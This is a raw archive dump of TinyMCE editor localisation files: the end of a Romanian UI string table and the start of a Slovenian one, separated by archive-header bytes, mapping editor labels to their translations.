"You have unsaved changes are you sure you want to navigate away?": "Ave\u021bi modific\u0103ri nesalvate! Sunte\u0163i sigur c\u0103 dori\u0163i s\u0103 ie\u015fiti?",
"Restore last draft": "Restaurare la ultima salvare",
"Special character...": "Caracter special\u2026",
"Source code": "Codul surs\u0103",
"Insert\/Edit code sample": "Inserare\/Editare mostr\u0103 cod",
"Language": "Limba",
"Code sample...": "Mostr\u0103 cod\u2026",
"Color Picker": "Selector culori",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "St\u00e2nga la dreapta",
"Right to left": "Dreapta la st\u00e2nga",
"Emoticons": "Emoticoane",
"Emoticons...": "Emoticoane\u2026",
"Metadata and Document Properties": "Meta date \u0219i Propriet\u0103\u021bi Document",
"Title": "Titlu",
"Keywords": "Cuvinte cheie",
"Description": "Descriere",
"Robots": "Robo\u021bi",
"Author": "Autor",
"Encoding": "Codare",
"Fullscreen": "Pe tot ecranul",
"Action": "Ac\u0163iune",
"Shortcut": "Comand\u0103 rapid\u0103",
"Help": "Ajutor",
"Address": "Adres\u0103",
"Focus to menubar": "Centrare pe bara de meniuri",
"Focus to toolbar": "Centrare pe bara de unelte",
"Focus to element path": "Centrare pe calea elementului",
"Focus to contextual toolbar": "Centrare pe bara de unelte contextual\u0103",
"Insert link (if link plugin activated)": "Inserare link (dac\u0103 modulul de link-uri este activat)",
"Save (if save plugin activated)": "Salvare (dac\u0103 modulul de salvare este activat)",
"Find (if searchreplace plugin activated)": "C\u0103utare (dac\u0103 modulul de c\u0103utare \u0219i \u00eenlocuire este activat)",
"Plugins installed ({0}):": "Module instalate ({0}):",
"Premium plugins:": "Module premium:",
"Learn more...": "Afla\u021bi mai multe\u2026",
"You are using {0}": "Folosi\u021bi {0}",
"Plugins": "Inserturi",
"Handy Shortcuts": "Comenzi rapide accesibile",
"Horizontal line": "Linie orizontal\u0103",
"Insert\/edit image": "Inserare\/editarea imaginilor",
"Alternative description": "Descriere alternativ\u0103",
"Accessibility": "Accesibilitate",
"Image is decorative": "Imaginea este decorativ\u0103",
"Source": "Surs\u0103",
"Dimensions": "Dimensiuni",
"Constrain proportions": "Constr\u00e2nge propor\u021biile",
"General": "General",
"Advanced": "Avansat",
"Style": "Stil",
"Vertical space": "Spa\u021biul vertical",
"Horizontal space": "Spa\u021biul orizontal",
"Border": "Bordur\u0103",
"Insert image": "Inserare imagine",
"Image...": "Imagine\u2026",
"Image list": "List\u0103 de imagini",
"Rotate counterclockwise": "Rotire \u00een sensul antiorar",
"Rotate clockwise": "Rotire \u00een sensul orar",
"Flip vertically": "R\u0103sturn\u0103 vertical",
"Flip horizontally": "R\u0103sturn\u0103 orizontal",
"Edit image": "Editare imagine",
"Image options": "Op\u021biuni imagine",
"Zoom in": "M\u0103rire",
"Zoom out": "Mic\u015forare",
"Crop": "Decupare",
"Resize": "Redimensionare",
"Orientation": "Orientare",
"Brightness": "Str\u0103lucire",
"Sharpen": "Accentuare",
"Contrast": "Contrast",
"Color levels": "Niveluri de culoare",
"Gamma": "Gamma",
"Invert": "Invers\u0103",
"Apply": "Salveaz\u0103",
"Back": "\u00cenapoi",
"Insert date\/time": "Insereaz\u0103 data\/ora",
"Date\/time": "Data\/ora",
"Insert\/edit link": "Inserare\/editare link",
"Text to display": "Text de afi\u0219at",
"Url": "Url",
"Open link in...": "Deschide link \u00een\u2026",
"Current window": "Fereastra curent\u0103",
"None": "Nici unul",
"New window": "Fereastr\u0103 nou\u0103",
"Open link": "Deschide leg\u0103tur\u0103",
"Remove link": "\u0218terge link-ul",
"Anchors": "Ancor\u0103",
"Link...": "Link\u2026",
"Paste or type a link": "Introduce\u021bi un link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL-ul introdus pare s\u0103 fie o adres\u0103 de e-mail. Dori\u021bi s\u0103 ad\u0103uga\u021bi prefixul mailto: ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL-ul introdus pare s\u0103 fie o adres\u0103 web. Dori\u021bi s\u0103 ad\u0103uga\u021bi prefixul http:\/\/ ?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Adresa URL pe care a\u021bi introdus-o pare a fi un leg\u0103tur\u0103 extern\u0103. Dori\u021bi s\u0103 ad\u0103uga\u021bi prefixul https:\/\/ necesar?",
"Link list": "List\u0103 linkuri",
"Insert video": "Inserare video",
"Insert\/edit video": "Inserare\/editare video",
"Insert\/edit media": "Inserare\/editare media",
"Alternative source": "Surs\u0103 alternativ\u0103",
"Alternative source URL": "URL surs\u0103 alternativ\u0103",
"Media poster (Image URL)": "Poster media (URL imagine)",
"Paste your embed code below:": "Insera\u021bi codul:",
"Embed": "Embed",
"Media...": "Media\u2026",
"Nonbreaking space": "Spa\u021biu neseparator",
"Page break": "\u00centrerupere de pagin\u0103",
"Paste as text": "Lipe\u015fte ca text",
"Preview": "Previzualizare",
"Print...": "Tip\u0103rire\u2026",
"Save": "Salveaz\u0103",
"Find": "Caut\u0103",
"Replace with": "\u00cenlocuie\u015fte cu",
"Replace": "\u00cenlocuie\u015fte",
"Replace all": "\u00cenlocuie\u015fte toate",
"Previous": "Anterior",
"Next": "Precedent",
"Find and Replace": "G\u0103si\u021bi \u0219i \u00eenlocui\u021bi",
"Find and replace...": "C\u0103utare \u0219i \u00eenlocuire\u2026",
"Could not find the specified string.": "Nu am putut g\u0103si \u0219irul specificat.",
"Match case": "Distinge majuscule\/minuscule",
"Find whole words only": "G\u0103se\u0219te doar cuvintele \u00eentregi",
"Find in selection": "G\u0103si\u021bi \u00een selec\u021bie",
"Spellcheck": "Verificarea ortografic\u0103",
"Spellcheck Language": "Verificare ortografic\u0103 a limbii",
"No misspellings found.": "Nu s-au g\u0103sit gre\u0219eli de ortografie.",
"Ignore": "Ignor\u0103",
"Ignore all": "Ignor\u0103 toate",
"Finish": "Finalizeaz\u0103",
"Add to Dictionary": "Adaug\u0103 \u00een Dic\u021bionar",
"Insert table": "Insereaz\u0103 tabel\u0103",
"Table properties": "Propriet\u0103\u021bi tabel\u0103",
"Delete table": "\u0218terge tabel\u0103",
"Cell": "Celul\u0103",
"Row": "Linie",
"Column": "Coloan\u0103",
"Cell properties": "Propriet\u0103\u021bi celul\u0103",
"Merge cells": "\u00cembinarea celulelor",
"Split cell": "\u00cemp\u0103r\u021birea celulelor",
"Insert row before": "Insereaz\u0103 \u00eenainte de linie",
"Insert row after": "Insereaz\u0103 dup\u0103 linie",
"Delete row": "\u0218terge linia",
"Row properties": "Propriet\u0103\u021bi linie",
"Cut row": "Taie linie",
"Copy row": "Copiaz\u0103 linie",
"Paste row before": "Lipe\u015fte \u00eenainte de linie",
"Paste row after": "Lipe\u015fte linie dup\u0103",
"Insert column before": "Insereaza \u00eenainte de coloan\u0103",
"Insert column after": "Insereaza dup\u0103 coloan\u0103",
"Delete column": "\u0218terge coloana",
"Cols": "Coloane",
"Rows": "Linii",
"Width": "L\u0103\u0163ime",
"Height": "\u00cen\u0103l\u0163ime",
"Cell spacing": "Spa\u021biere celule",
"Cell padding": "Spa\u021biere",
"Caption": "Titlu",
"Show caption": "Afi\u0219are captur\u0103",
"Left": "St\u00e2nga",
"Center": "Centru",
"Right": "Dreapta",
"Cell type": "Tip celul\u0103",
"Scope": "Domeniu",
"Alignment": "Aliniament",
"H Align": "Aliniere H",
"V Align": "Aliniere V",
"Top": "Sus",
"Middle": "Mijloc",
"Bottom": "Jos",
"Header cell": "Antet celul\u0103",
"Row group": "Grup de linii",
"Column group": "Grup de coloane",
"Row type": "Tip de linie",
"Header": "Antet",
"Body": "Corp",
"Footer": "Subsol",
"Border color": "Culoare bordur\u0103",
"Insert template...": "Inserare \u0219ablon\u2026",
"Templates": "\u015eabloane",
"Template": "\u0218ablon",
"Text color": "Culoare text",
"Background color": "Culoare fundal",
"Custom...": "Personalizat...",
"Custom color": "Culoare personalizat\u0103",
"No color": "F\u0103r\u0103 culoare",
"Remove color": "Eliminare culoare",
"Table of Contents": "Cuprins",
"Show blocks": "Afi\u0219are blocuri",
"Show invisible characters": "Afi\u0219are caractere invizibile",
"Word count": "Num\u0103r\u0103toare cuvinte",
"Count": "Num\u0103r\u0103toare",
"Document": "Document",
"Selection": "Selec\u021bie",
"Words": "Cuvinte",
"Words: {0}": "Cuvinte: {0}",
"{0} words": "{0} cuvinte",
"File": "Fil\u0103",
"Edit": "Editeaz\u0103",
"Insert": "Insereaz\u0103",
"View": "Vezi",
"Format": "Formateaz\u0103",
"Table": "Tabel\u0103",
"Tools": "Unelte",
"Powered by {0}": "Sus\u021binut de {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Zon\u0103 cu Rich Text. Apas\u0103 ALT-F9 pentru meniu. Apas\u0103 ALT-F10 pentru bara de unelte. Apas\u0103 ALT-0 pentru ajutor",
"Image title": "Titlu imagine",
"Border width": "Grosime chenar",
"Border style": "Stil chenar",
"Error": "Eroare",
"Warn": "Aten\u021bionare",
"Valid": "Valid",
"To open the popup, press Shift+Enter": "Pentru a deschide fereastra popup, ap\u0103sa\u021bi Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Zon\u0103 Text Formatat. Ap\u0103sa\u021bi ALT-0 pentru ajutor.",
"System Font": "Font Sistem",
"Failed to upload image: {0}": "Nu s-a putut \u00eenc\u0103rca imaginea: {0}",
"Failed to load plugin: {0} from url {1}": "Nu s-a putut \u00eenc\u0103rca modulul: {0} de la URL-ul {1}",
"Failed to load plugin url: {0}": "Nu s-a putut \u00eenc\u0103rca URL-ul modulului: {0}",
"Failed to initialize plugin: {0}": "Nu s-a putut ini\u021bializa modulul: {0}",
"example": "exemplu",
"Search": "C\u0103utare",
"All": "Tot",
"Currency": "Moned\u0103",
"Text": "Text",
"Quotations": "Ghilimele",
"Mathematical": "Simboluri matematice",
"Extended Latin": "Simboluri alfabet latin extins",
"Symbols": "Simboluri",
"Arrows": "S\u0103ge\u021bi",
"User Defined": "Definite de utilizator",
"dollar sign": "simbol dolar",
"currency sign": "simbol moned\u0103",
"euro-currency sign": "simbol euro",
"colon sign": "dou\u0103 puncte",
"cruzeiro sign": "simbol cruzeiro",
"french franc sign": "simbol franc francez",
"lira sign": "simbol lir\u0103",
"mill sign": "simbol mill",
"naira sign": "simbol naira",
"peseta sign": "simbol peset\u0103",
"rupee sign": "simbol rupie",
"won sign": "simbol won",
"new sheqel sign": "simbol shekel nou",
"dong sign": "simbol dong",
"kip sign": "simbol kip",
"tugrik sign": "simbol tugrik",
"drachma sign": "simbol drahm\u0103",
"german penny symbol": "simbol peni german",
"peso sign": "simbol peso",
"guarani sign": "simbol guarani",
"austral sign": "simbol austral",
"hryvnia sign": "simbol grivn\u0103",
"cedi sign": "simbol cedi",
"livre tournois sign": "simbol livr\u0103 tournois",
"spesmilo sign": "simbol spesmilo",
"tenge sign": "simbol tenge",
"indian rupee sign": "simbol rupie indian\u0103",
"turkish lira sign": "simbol lir\u0103 turceasc\u0103",
"nordic mark sign": "simbol marc\u0103 nordic\u0103",
"manat sign": "simbol manat",
"ruble sign": "simbol rubl\u0103",
"yen character": "simbol yen",
"yuan character": "simbol yuan",
"yuan character, in hong kong and taiwan": "simbol yuan \u00een Hong Kong \u0219i Taiwan",
"yen\/yuan character variant one": "simbol yen\/yuan prima variant\u0103",
"Loading emoticons...": "Se \u00eencarc\u0103 emoticoanele\u2026",
"Could not load emoticons": "Nu s-au putut \u00eenc\u0103rca emoticoanele",
"People": "Persoane",
"Animals and Nature": "Animale \u0219i natur\u0103",
"Food and Drink": "M\u00e2ncare \u0219i b\u0103uturi",
"Activity": "Activit\u0103\u021bi",
"Travel and Places": "C\u0103l\u0103torii \u0219i loca\u021bii",
"Objects": "Obiecte",
"Flags": "Steaguri",
"Characters": "Caractere",
"Characters (no spaces)": "Caractere (f\u0103r\u0103 spa\u021bii)",
"{0} characters": "{0} caractere",
"Error: Form submit field collision.": "Eroare: Coliziune c\u00e2mpuri la trimiterea formularului.",
"Error: No form element found.": "Eroare: Niciun element de formular g\u0103sit.",
"Update": "Actualizare",
"Color swatch": "Mostr\u0103 de culori",
"Turquoise": "Turcoaz",
"Green": "Verde",
"Blue": "Albastru",
"Purple": "Mov",
"Navy Blue": "Albastru marin",
"Dark Turquoise": "Turcoaz \u00eenchis",
"Dark Green": "Verde \u00eenchis",
"Medium Blue": "Albastru mediu",
"Medium Purple": "Mov mediu",
"Midnight Blue": "Albastru \u00eenchis",
"Yellow": "Galben",
"Orange": "Portocaliu",
"Red": "Ro\u0219u",
"Light Gray": "Gri deschis",
"Gray": "Gri",
"Dark Yellow": "Galben \u00eenchis",
"Dark Orange": "Portocaliu \u00eenchis",
"Dark Red": "Ro\u0219u \u00eenchis",
"Medium Gray": "Gri mediu",
"Dark Gray": "Gri \u00eenchis",
"Light Green": "Verde deschis",
"Light Yellow": "Galben deschis",
"Light Red": "Ro\u015fu deschis",
"Light Purple": "Violet deschis",
"Light Blue": "Albastru deschis",
"Dark Purple": "Violet \u00eenchis",
"Dark Blue": "Negru \u00eenchis",
"Black": "Negru",
"White": "Alb",
"Switch to or from fullscreen mode": "Comutare pe sau de la modul ecran complet",
"Open help dialog": "Deschide dialogul de ajutor",
"history": "istoric",
"styles": "stiluri",
"formatting": "formatare",
"alignment": "aliniere",
"indentation": "indentare",
"Font": "Font",
"Size": "Dimensiuni",
"More...": "Mai multe...",
"Select...": "Selectare...",
"Preferences": "Preferin\u021be",
"Yes": "Da",
"No": "Nu",
"Keyboard Navigation": "Navigare de la tastatur\u0103",
"Version": "Versiune",
"Code view": "Vizualizare cod",
"Open popup menu for split buttons": "Deschide\u021bi meniul pop-up pentru butoanele divizate",
"List Properties": "Propriet\u0103\u021bi list\u0103",
"List properties...": "Propriet\u0103\u021bi list\u0103...",
"Start list at number": "\u00cencepe\u021bi lista la num\u0103rul",
"Line height": "\u00cen\u0103l\u021bimea liniei",
"comments": "comentarii",
"Format Painter": "Descriptor de formate",
"Insert\/edit iframe": "Inserare\/editare icadru",
"Capitalization": "Scriere cu majuscule",
"lowercase": "litere mici",
"UPPERCASE": "MAJUSCULE",
"Title Case": "Ini\u021bial\u0103 majuscul\u0103",
"permanent pen": "stilou permanent",
"Permanent Pen Properties": "Propriet\u0103\u021bile stiloului permanent",
"Permanent pen properties...": "Propriet\u0103\u021bile stiloului permanent...",
"case change": "schimbarea cazului",
"page embed": "\u00eencorporare pagin\u0103",
"Advanced sort...": "Sortare avansat\u0103...",
"Advanced Sort": "Sortare avansat\u0103",
"Sort table by column ascending": "Sorta\u021bi tabelul dup\u0103 coloan\u0103 cresc\u0103toare",
"Sort table by column descending": "Sorta\u021bi tabelul dup\u0103 coloan\u0103 descresc\u0103toare",
"Sort": "Sortare",
"Order": "Ordonare",
"Sort by": "Soreaz\u0103 dup\u0103",
"Ascending": "Cresc\u0103tor",
"Descending": "Descresc\u0103tor",
"Column {0}": "Coloan\u0103 {0}",
"Row {0}": "R\u00e2nd {0}",
"Spellcheck...": "Verificare a ortografiei...",
"Misspelled word": "Cuv\u00e2nt scris gre\u0219it",
"Suggestions": "Sugestii",
"Change": "Schimbare",
"Finding word suggestions": "G\u0103se\u0219te sugestii de cuvinte",
"Success": "Succes",
"Repair": "Repar\u0103",
"Issue {0} of {1}": "Num\u0103rul {0} din {1}",
"Images must be marked as decorative or have an alternative text description": "Imaginile trebuie s\u0103 fie marcate ca decorative sau s\u0103 aib\u0103 o descriere alternativ\u0103 a textului",
"Images must have an alternative text description. Decorative images are not allowed.": "Imaginile trebuie s\u0103 aib\u0103 o descriere alternativ\u0103 a textului. Imaginile decorative nu sunt permise.",
"Or provide alternative text:": "Sau furniza\u021bi un text alternativ:",
"Make image decorative:": "Face\u021bi imaginea decorativ\u0103:",
"ID attribute must be unique": "Atributul ID trebuie s\u0103 fie unic",
"Make ID unique": "Face\u021bi ID-ul unic",
"Keep this ID and remove all others": "P\u0103stra\u021bi acest ID \u0219i elimina\u021bi pe toate celelalte",
"Remove this ID": "Elimina\u021bi acest ID",
"Remove all IDs": "Elimina\u021bi toate ID-urile",
"Checklist": "Lista de verificare",
"Anchor": "Ancor\u0103",
"Special character": "Caractere speciale",
"Color": "Culoare",
"Document properties": "Propriet\u0103\u021bi document",
"Image description": "Descrierea imaginii",
"Image": "Imagine",
"Insert link": "Inserare link",
"Link": "Link",
"Target": "\u021aint\u0103",
"Media": "Media",
"Poster": "Poster",
"Print": "Tip\u0103re\u0219te",
"Whole words": "Doar cuv\u00eentul \u00eentreg",
"Find and replace": "Caut\u0103 \u015fi \u00eenlocuie\u015fte",
"Prev": "Anterior",
"Insert template": "Insereaz\u0103 \u0219ablon"
});PK
h�\��D:�7�7!program/js/tinymce/langs/sl_SI.jsnu�[���tinymce.addI18n('sl_SI',{
"Redo": "Ponovno uveljavi",
"Undo": "Razveljavi",
"Cut": "Izre\u017ei",
"Copy": "Kopiraj",
"Paste": "Prilepi",
"Select all": "Izberi vse",
"New document": "Nov dokument",
"Ok": "V redu",
"Cancel": "Prekli\u010di",
"Visual aids": "Vizualni pripomo\u010dki",
"Bold": "Krepko",
"Italic": "Po\u0161evno",
"Underline": "Pod\u010drtano",
"Strikethrough": "Pre\u010drtano",
"Superscript": "Nadpisano",
"Subscript": "Podpisano",
"Clear formatting": "Odstrani oblikovanje",
"Align left": "Leva poravnava",
"Align center": "Sredinska poravnava",
"Align right": "Desna poravnava",
"Justify": "Obojestranska poravnava",
"Bullet list": "Ozna\u010den seznam",
"Numbered list": "O\u0161tevil\u010den seznam",
"Decrease indent": "Zmanj\u0161aj zamik",
"Increase indent": "Pove\u010daj zamik",
"Close": "Zapri",
"Formats": "Oblika",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Varnostne nastavitve brskalnika ne dopu\u0161\u010dajo direktnega dostopa do odlo\u017ei\u0161\u010da. Uporabite kombinacijo tipk Ctrl + X\/C\/V na tipkovnici.",
"Headers": "Naslovi",
"Header 1": "Naslov 1",
"Header 2": "Naslov 2",
"Header 3": "Naslov 3",
"Header 4": "Naslov 4",
"Header 5": "Naslov 5",
"Header 6": "Naslov 6",
"Headings": "Naslovi",
"Heading 1": "Naslov 1",
"Heading 2": "Naslov 2",
"Heading 3": "Naslov 3",
"Heading 4": "Naslov 4",
"Heading 5": "Naslov 5",
"Heading 6": "Naslov 6",
"Preformatted": "Predformatirano",
"Div": "Div",
"Pre": "Pre",
"Code": "Koda",
"Paragraph": "Odstavek",
"Blockquote": "Blockquote",
"Inline": "Med besedilom",
"Blocks": "Bloki",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Odlagali\u0161\u010de je zdaj v tekstovnem na\u010dinu. Vsebina bo preslikana kot golo besedilo brez oblike, dokler te mo\u017enosti ne izklju\u010dite.",
"Fonts": "Pisave",
"Font Sizes": "Velikosti pisave",
"Class": "Razred",
"Browse for an image": "Prebrskaj za sliko",
"OR": "ALI",
"Drop an image here": "Spusti sliko sem",
"Upload": "Nalo\u017ei",
"Block": "Blok",
"Align": "Poravnava",
"Default": "Privzeto",
"Circle": "Pikica",
"Disc": "Kroglica",
"Square": "Kvadratek",
"Lower Alpha": "Male tiskane \u010drke",
"Lower Greek": "Male gr\u0161ke \u010drke",
"Lower Roman": "Male rimske \u0161tevilke",
"Upper Alpha": "Velike tiskane \u010drke",
"Upper Roman": "Velike rimske \u0161tevilke",
"Anchor...": "Sidro ...",
"Name": "Naziv zaznamka",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id se mora za\u010deti s \u010drko, sledijo samo \u010drke, \u0161tevilke, pomi\u0161ljaj, pike, dvopi\u010dje ali pod\u010drtaj.",
"You have unsaved changes are you sure you want to navigate away?": "Imate neshranjene spremembe. Ste prepri\u010dati, da \u017eelite zapustiti stran?",
"Restore last draft": "Obnovi zadnji osnutek",
"Special characters...": "Posebni znaki ...",
"Source code": "Izvorna koda",
"Insert\/Edit code sample": "Vstavi\/Uredi vzor\u010dno kodo",
"Language": "Jezik",
"Code sample...": "Vzor\u010dna koda ...",
"Color Picker": "Izbirnik barve",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Od leve proti desni",
"Right to left": "Od desne proti levi",
"Emoticons...": "\u010custveni simboli ...",
"Metadata and Document Properties": "Metapodatki in lastnosti dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne besede",
"Description": "Opis",
"Robots": "Robotki",
"Author": "Avtor",
"Encoding": "Kodiranje",
"Fullscreen": "\u010cez cel zaslon",
"Action": "Dejanje",
"Shortcut": "Bli\u017enjica",
"Help": "Pomo\u010d",
"Address": "Naslov",
"Focus to menubar": "Poudarek na menijski vrstici",
"Focus to toolbar": "Poudarek na orodni vrstici",
"Focus to element path": "Poudarek na poti elementa",
"Focus to contextual toolbar": "Poudarek na kontekstualni orodni vrstici",
"Insert link (if link plugin activated)": "Vstavi povezavo (\u010de je aktiviran vti\u010dnik za povezavo)",
"Save (if save plugin activated)": "Shrani (\u010de je aktiviran vti\u010dnik za shranjevanje)",
"Find (if searchreplace plugin activated)": "I\u0161\u010di (\u010de je aktiviran vti\u010dnik za iskanje\/zamenjavo)",
"Plugins installed ({0}):": "Name\u0161\u010deni vti\u010dniki ({0}):",
"Premium plugins:": "Premium vti\u010dniki:",
"Learn more...": "Ve\u010d ...",
"You are using {0}": "Uporabljate {0}",
"Plugins": "Vti\u010dniki",
"Handy Shortcuts": "Uporabne bli\u017enjice",
"Horizontal line": "Vodoravna \u010drta",
"Insert\/edit image": "Vstavi\/uredi sliko",
"Image description": "Opis slike",
"Source": "Pot",
"Dimensions": "Dimenzije",
"Constrain proportions": "Obdr\u017ei razmerje",
"General": "Splo\u0161no",
"Advanced": "Napredno",
"Style": "Slog",
"Vertical space": "Navpi\u010dni prostor",
"Horizontal space": "Vodoravni prostor",
"Border": "Obroba",
"Insert image": "Vnesi sliko",
"Image...": "Slika ...",
"Image list": "Seznam slik",
"Rotate counterclockwise": "Zavrti v nasprotni smeri urnega kazalca",
"Rotate clockwise": "Zavrti v smeri urinega kazalca",
"Flip vertically": "Obrni navpi\u010dno",
"Flip horizontally": "Obrni vodoravno",
"Edit image": "Uredi sliko",
"Image options": "Mo\u017enosti slike",
"Zoom in": "Pove\u010daj",
"Zoom out": "Pomanj\u0161aj",
"Crop": "Obre\u017ei",
"Resize": "Spremeni velikost",
"Orientation": "Usmerjenost",
"Brightness": "Svetlost",
"Sharpen": "Izostri",
"Contrast": "Kontrast",
"Color levels": "Barvni nivo",
"Gamma": "Gama",
"Invert": "Obrni",
"Apply": "Uporabi",
"Back": "Nazaj",
"Insert date\/time": "Vstavi datum\/\u010das",
"Date\/time": "Datum\/\u010das",
"Insert\/Edit Link": "Vstavi\/uredi povezavo",
"Insert\/edit link": "Vstavi\/uredi povezavo",
"Text to display": "Prikazno besedilo",
"Url": "Povezava",
"Open link in...": "Odpri povezavo v ...",
"Current window": "Trenutno okno",
"None": "Brez",
"New window": "Novo okno",
"Remove link": "Odstrani povezavo",
"Anchors": "Sidra",
"Link...": "Povezava ...",
"Paste or type a link": "Prilepite ali vnesite povezavo",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Vne\u0161eni URL predstavlja e-po\u0161tni naslov. Ali \u017eelite dodati potrebno \"mailto:\" predpono?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Vne\u0161eni URL predstavlja zunanjo povezavo. Ali \u017eelite dodati \"http:\/\/\" predpono?",
"Link list": "Seznam povezav",
"Insert video": "Vstavi video",
"Insert\/edit video": "Vstavi\/uredi video",
"Insert\/edit media": "Vstavi\/uredi medij",
"Alternative source": "Nadomestni vir",
"Alternative source URL": "Nadomestni vir URL",
"Media poster (Image URL)": "Medijski poster (URL slike)",
"Paste your embed code below:": "Prilepite kodo za vdelavo:",
"Embed": "Vdelaj",
"Media...": "Mediji ...",
"Nonbreaking space": "Nedeljivi presledek",
"Page break": "Prelom strani",
"Paste as text": "Vnesi kot besedilo",
"Preview": "Predogled",
"Print...": "Natisni ...",
"Save": "Shrani",
"Find": "I\u0161\u010di",
"Replace with": "Zamenjaj z",
"Replace": "Zamenjaj",
"Replace all": "Zamenjaj vse",
"Previous": "Prej\u0161nja",
"Next": "Naprej",
"Find and replace...": "Najdi in zamenjaj ...",
"Could not find the specified string.": "Iskanje ni vrnilo rezultatov.",
"Match case": "Ujemanje malih in velikih \u010drk",
"Find whole words only": "I\u0161\u010di samo cele besede",
"Spell check": "\u010crkovanje",
"Ignore": "Prezri",
"Ignore all": "Prezri vse",
"Finish": "Zaklju\u010di",
"Add to Dictionary": "Dodaj v slovar",
"Insert table": "Vstavi tabelo",
"Table properties": "Lastnosti tabele",
"Delete table": "Izbri\u0161i tabelo",
"Cell": "Celica",
"Row": "Vrstica",
"Column": "Stolpec",
"Cell properties": "Lastnosti celice",
"Merge cells": "Zdru\u017ei celice",
"Split cell": "Razdeli celico",
"Insert row before": "Vstavi vrstico pred",
"Insert row after": "Vstavi vrstico za",
"Delete row": "Izbri\u0161i vrstico",
"Row properties": "Lastnosti vrstice",
"Cut row": "Izre\u017ei vrstico",
"Copy row": "Kopiraj vrstico",
"Paste row before": "Prilepi vrstico pred",
"Paste row after": "Prilepi vrstico za",
"Insert column before": "Vstavi stolpec pred",
"Insert column after": "Vstavi stolpec za",
"Delete column": "Izbri\u0161i stolpec",
"Cols": "Stolpci",
"Rows": "Vrstice",
"Width": "\u0160irina",
"Height": "Vi\u0161ina",
"Cell spacing": "Razmik med celicami",
"Cell padding": "Polnilo med celicami",
"Show caption": "Poka\u017ei napis",
"Left": "Levo",
"Center": "Sredinsko",
"Right": "Desno",
"Cell type": "Tip celice",
"Scope": "Obseg",
"Alignment": "Poravnava",
"H Align": "Horizontalna poravnava",
"V Align": "Vertikalna poravnava",
"Top": "Vrh",
"Middle": "Sredina",
"Bottom": "Dno",
"Header cell": "Celica glave",
"Row group": "Grupiranje vrstic",
"Column group": "Grupiranje stolpcev",
"Row type": "Tip vrstice",
"Header": "Glava",
"Body": "Vsebina",
"Footer": "Noga",
"Border color": "Barva obrobe",
"Insert template...": "Vstavi predlogo ...",
"Templates": "Predloge",
"Template": "Predloga",
"Text color": "Barva besedila",
"Background color": "Barva ozadja",
"Custom...": "Po meri ...",
"Custom color": "Barva po meri",
"No color": "Brezbarvno",
"Remove color": "Odstrani barvo",
"Table of Contents": "Kazalo",
"Show blocks": "Prika\u017ei bloke",
"Show invisible characters": "Prika\u017ei skrite znake",
"Word count": "\u0160tevilo besed",
"Words: {0}": "Besed: {0}",
"{0} words": "{0} besed",
"File": "Datoteka",
"Edit": "Uredi",
"Insert": "Vstavi",
"View": "Pogled",
"Format": "Oblika",
"Table": "Tabela",
"Tools": "Orodja",
"Powered by {0}": "Uporablja tehnologijo {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Bogato besedilo. Pritisnite ALT-F9 za meni. Pritisnite ALT-F10 za orodno vrstico. Pritisnite ALT-0 za pomo\u010d",
"Image title": "Naslov slike",
"Border width": "\u0160irina obrobe",
"Border style": "Slog obrobe",
"Error": "Napaka",
"Warn": "Opozorilo",
"Valid": "Veljavno",
"To open the popup, press Shift+Enter": "Za odpiranje pojavnega okna pritisnite Shift + Enter.",
"Rich Text Area. Press ALT-0 for help.": "Bogato besedilo. Pritisnite ALT-0 za pomo\u010d.",
"System Font": "Sistemska pisava",
"Failed to upload image: {0}": "Napaka nalaganja slike: {0}",
"Failed to load plugin: {0} from url {1}": "Napaka nalaganja vti\u010dnika: {0} z url {1}",
"Failed to load plugin url: {0}": "Napaka nalaganja url: {0}",
"Failed to initialize plugin: {0}": "Napaka inicializacije vti\u010dnika: {0}",
"example": "primer",
"Search": "Iskanje",
"All": "Vse",
"Currency": "Valuta",
"Text": "Besedilo",
"Quotations": "Citati",
"Mathematical": "Matemati\u010dno",
"Extended Latin": "Raz\u0161irjena latinica",
"Symbols": "Simboli",
"Arrows": "Pu\u0161\u010dice",
"User Defined": "Uporabnik dolo\u010den",
"dollar sign": "znak za dolar",
"currency sign": "znak za valuto",
"euro-currency sign": "znak za evro",
"colon sign": "znak za dvopi\u010dje",
"cruzeiro sign": "znak za cruzeiro",
"french franc sign": "znak za francoski frank",
"lira sign": "znak za liro",
"mill sign": "znak za mill",
"naira sign": "znak za nairo",
"peseta sign": "znak za peseto",
"rupee sign": "znak za rupijo",
"won sign": "znak za won",
"new sheqel sign": "znak za novi \u0161ekl",
"dong sign": "znak za dong",
"kip sign": "znak za kip",
"tugrik sign": "znak za tugrik",
"drachma sign": "znak za drahmo",
"german penny symbol": "znak za nem\u0161ki peni",
"peso sign": "znak za peso",
"guarani sign": "znak za guarani",
"austral sign": "znak za austral",
"hryvnia sign": "znak za hrivnijo",
"cedi sign": "znak za cedi",
"livre tournois sign": "znak za livre tournois",
"spesmilo sign": "znak za spesmilo",
"tenge sign": "znak za tenge",
"indian rupee sign": "znak za indijsko rupijo",
"turkish lira sign": "znak za tur\u0161ko liro",
"nordic mark sign": "znak za nordijsko marko",
"manat sign": "znak za manat",
"ruble sign": "znak za rubelj",
"yen character": "znak za jen",
"yuan character": "znak za yuan",
"yuan character, in hong kong and taiwan": "znak za yuan, v Hongkongu in na Tajvanu",
"yen\/yuan character variant one": "znak za jen\/yuan, prva razli\u010dica",
"Loading emoticons...": "Nalaganje \u010dustvenih simbolov ...",
"Could not load emoticons": "\u010custvenih simbolov ni mogo\u010de nalo\u017eiti.",
"People": "Ljudje",
"Animals and Nature": "\u017divali in narava",
"Food and Drink": "Hrana in pija\u010da",
"Activity": "Dejavnost",
